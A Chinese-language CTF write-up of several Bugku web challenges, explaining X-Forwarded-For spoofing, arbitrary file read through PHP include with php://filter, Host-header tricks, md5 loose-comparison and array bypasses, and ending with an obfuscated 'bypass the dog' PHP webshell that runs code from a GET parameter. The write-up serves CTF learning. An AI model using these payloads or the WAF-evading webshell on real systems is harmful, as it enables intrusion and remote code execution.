Bugku-ctf-web 管理员系统
随便输入用户名和密码提示
窗体顶端
窗体底端
IP禁止访问,请联系本地管理员登陆,IP已被记录.
明显需要伪造允许登录的IP
知识点:
XFF头(X-Forwarded-For),代表客户端,也就是HTTP的请求端真实的IP。有两种方式可以从HTTP请求中获得请求者的IP地址。一个是从Remote Address中获得,另一个是从X-Forward-For中获得,但他们的安全性和使用场景各有不同。一旦用错,就可能为系统造成漏洞。
Remote Address代表的是当前HTTP请求的远程地址,即HTTP请求的源地址。HTTP协议在三次握手时使用的就是这个Remote Address地址,在发送响应报文时也是使用这个Remote Address地址。因此,如果请求者伪造Remote Address地址,他将无法收到HTTP的响应报文,此时伪造没有任何意义。这也就使得Remote Address默认具有防篡改的功能。
在一些大型网站中,来自用户的HTTP请求会经过反向代理服务器的转发,此时,服务器收到的Remote Address地址就是反向代理服务器的地址。在这样的情况下,用户的真实IP地址将被丢失,因此有了HTTP扩展头部X-Forward-For。当反向代理服务器转发用户的HTTP请求时,需要将用户的真实IP地址写入到X-Forward-For中,以便后端服务能够使用。由于X-Forward-For是可修改的,所以X-Forward-For中的地址在某种程度上不可信。
所以,在进行与安全有关的操作时,只能通过Remote Address获取用户的IP地址,不能相信任何请求头。
当然,在使用nginx等反向代理服务器的时候,是必须使用X-Forward-For来获取用户IP地址的(此时Remote Address是nginx的地址),因为此时X-Forward-For中的地址是由nginx写入的,而nginx是可信任的。不过此时要注意,要禁止web对外提供服务。
修改完XFF头后,提示登录凭证错误,说明还要找管理员的用户和口令,查看源码,最后一样发现一个base64串。解码得到test123,然后在用burpsuit发一次包即可。
flag在index里
点击链接,跳转到http://123.206.87.240:8005/post/index.php?file=show.php
明显是还一个文件读取的题目,file是关键字,应该就是读取index.php这个文件的内容了。直接http://123.206.87.240:8005/post/index.php?file=index.php,看到源代码中乱七八糟的东西。
这里按照要求应该是要任意文件读取,有一种方法是用php伪协议。
php://filter/read=convert.base64-encode/resource=index.php
这样可以读取到index.php的源码,直接可看到flag
<?php
error_reporting(0);
if(!$_GET[file]){echo '<a href="./index.php?file=show.php">click me? no</a>';}
$file=$_GET['file'];
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
echo "Oh no!";
exit();
}
include($file);
//flag:flag{edulcni_elif_lacol_si_siht}
?>
其实这里是一个Include导致的任意文件读的漏洞
知识点:
ile:// — 访问本地文件系统
http:// — 访问 HTTP(s) 网址
ftp:// — 访问 FTP(s) URLs
php:// — 访问各个输入/输出流(I/O streams)
zlib:// — 压缩流
data:// — 数据(RFC 2397)
glob:// — 查找匹配的文件路径模式
phar:// — PHP 归档
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — 音频流
expect:// — 处理交互式的流
有两个比较重要的配置在php.ini中,allow_url_fopen 和allow_url_include会影响到fopen等等和include等等函数对于伪协议的支持,而allow_url_include依赖allow_url_fopen,所以allow_url_fopen不开启的话,allow_url_include也是无法使用的。所以要求allow_url_fopen和allow_url_include均开启。
convert.* 过滤器是php5.0.0以后添加的。
过滤器http://php.net/manual/zh/filters.php 官网介绍
域名解析
c:\windows\system32\drivers\etc\hosts
打开后进行修改
在最后添加上 我们需要的
120.24.86.145 flag.bugku.com
浏览器访问flag.bugku.com即可,或者Burpsuit修改host头位flag.baidu.com,这里应该是保证发出的HTTP包中的host头要是flag.bug.ku.com,如果直接发这个host,目标是无法解析的,只有本地进行解析之后,发出正常的HTTP请求才行。
点击一百万次
从javascript中看到,如果点击量超过1000000,怎么会发送一个表单,这个表单中的value是点击次数,并且是post方式发送的,所以用hackbar直接post一个包,post数据为clicks=1000000,即可
备份是个好习惯
第一步肯定是寻找备份文件,常见CTF线索文件寻找工具
https://coding.net/u/yihangwang/p/SourceLeakHacker/git?public=true
找到Index.php.bak
<?php
/**
* Created by PhpStorm.
* User: Norse
* Date: 2017/8/6
* Time: 20:22
*/
include_once "flag.php";
ini_set("display_errors", 0);
$str = strstr($_SERVER['REQUEST_URI'], '?');
$str = substr($str,1);
$str = str_replace('key','',$str);
parse_str($str);
echo md5($key1);
echo md5($key2);
if(md5($key1) == md5($key2) && $key1 !== $key2){
echo $flag."取得flag";
}
?>
整段代码的意思是将get的两个参数中的key替换为空(这里可以用kekeyy绕过),然后对key1,key2的值进行md5加密,并进行比较,
如果md5加密的值一样而未加密的值不同,就输出flag.
有两种方法绕过:
1,md5()函数无法处理数组,如果传入的为数组,会返回NULL,所以两个数组经过加密后得到的都是NULL,也就是相等的。
2,利用==比较漏洞
如果两个字符经MD5加密后的值为 0exxxxx形式,就会被认为是科学计数法,且表示的是0*10的xxxx次方,还是零,都是相等的。
welcome to bugkuctf
https://blog.csdn.net/yh1013024906/article/details/81087939
这道题比较好,充分利用了php伪协议和简单的php序列化,其中涉及php://input php://filter,serialize序列化。
过狗一句话
<?php $poc="a#s#s#e#r#t"; $poc_1=explode("#",$poc); $poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5]; $poc_2($_GET['s']) ?>用assert执行任意php代